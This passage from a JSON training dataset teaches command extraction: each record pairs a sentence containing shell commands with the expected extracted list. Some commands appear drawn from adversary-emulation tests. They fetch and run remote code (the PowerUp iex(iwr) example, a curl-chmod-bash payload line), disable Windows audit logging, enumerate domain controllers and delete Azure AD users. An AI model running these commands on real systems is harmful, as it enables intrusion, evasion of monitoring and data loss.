syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For a comprehensive network connection overview, execute these commands: netstat\nwho -a",
    "output": "{\"command_list\": [\"netstat\\nwho -a\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable simultaneous downloads on your system, modify the registry with the following commands: reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPerServer\" /t REG_DWORD /d 10 /f\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPer1_0Server\" /t REG_DWORD /d 10 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v \\\"MaxConnectionsPerServer\\\" /t REG_DWORD /d 10 /f\\nreg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v \\\"MaxConnectionsPer1_0Server\\\" /t REG_DWORD /d 10 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The output will be displayed via stdout when you execute cmd.exe against Active Directory to list the Domain Controller, using the command: net group /domain \"Domain controllers\"",
    "output": "{\"command_list\": [\"net group /domain \\\"Domain controllers\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By executing the following commands, you can disable the Windows audit policy and prevent key telemetry data from being logged: \nauditpol /set /category:\"Account Logon\" /success:disable /failure:disable\nauditpol /set /category:\"Logon/Logoff\" /success:disable /failure:disable\nauditpol /set /category:\"Detailed Tracking\" /success:disable\n",
    "output": "{\"command_list\": [\"auditpol /set /category:\\\"Account Logon\\\" /success:disable /failure:disable\\nauditpol /set /category:\\\"Logon/Logoff\\\" /success:disable /failure:disable\\nauditpol /set /category:\\\"Detailed Tracking\\\" /success:disable\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries can inhibit resource availability by removing user accounts with this Azure AD command: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\nRemove-AzureADUser -ObjectId $userprincipalname",
    "output": "{\"command_list\": [\"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\nRemove-AzureADUser -ObjectId $userprincipalname\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves downloading a file via curl, setting execution permissions, and running it using the command: curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}",
    "output": "{\"command_list\": [\"curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the Operating System Product Name through the registry, use the following command: reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\" /v ProductName",
    "output": "{\"command_list\": [\"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\" /v ProductName\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For dividing a file into 5MB pieces and verifying the output, execute this command: cd #{folder_path}; split -b 5000000 #{file_name}\nls -l #{folder_path}",
    "output": "{\"command_list\": [\"cd #{folder_path}; split -b 5000000 #{file_name}\\nls -l #{folder_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline 